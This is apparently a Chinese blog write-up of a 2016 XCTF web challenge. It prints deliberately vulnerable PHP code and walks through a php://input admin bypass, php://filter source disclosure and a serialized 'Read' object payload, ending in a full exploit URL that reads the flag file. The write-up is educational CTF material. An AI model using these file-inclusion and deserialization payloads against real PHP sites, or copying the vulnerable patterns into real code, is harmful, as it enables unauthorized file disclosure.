2016xctf一道ctf题目

首先是index.php:

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

然后是class.php


<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

最后是f1a9.php

<?php
//flag_Xd{hSh_ctf:e@syt0g3t}
?>

解析:
这个题目考察的是php封装协议和lfi
这个题目首先要突破的是:
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
如何让file_get_contents($user,'r')==="the user is admin"呢?
答案是用php的封装协议php://input,因为php://input可以得到原始的post数据:


所以这样就可以绕过第一个限制

然后我到了:include($file); //class.php 这一步

这个很明显是暗示你去读取class.php
如何读呢?这里用到php的另一个封装协议:php://filter
利用这个协议就可以读取任意文件了
利用方法:php://filter/convert.base64-encode/resource=index.php
这里把读取到的index.php的内容转换为base64的格式
于是:


这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();

但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件

最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}



  • 5
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值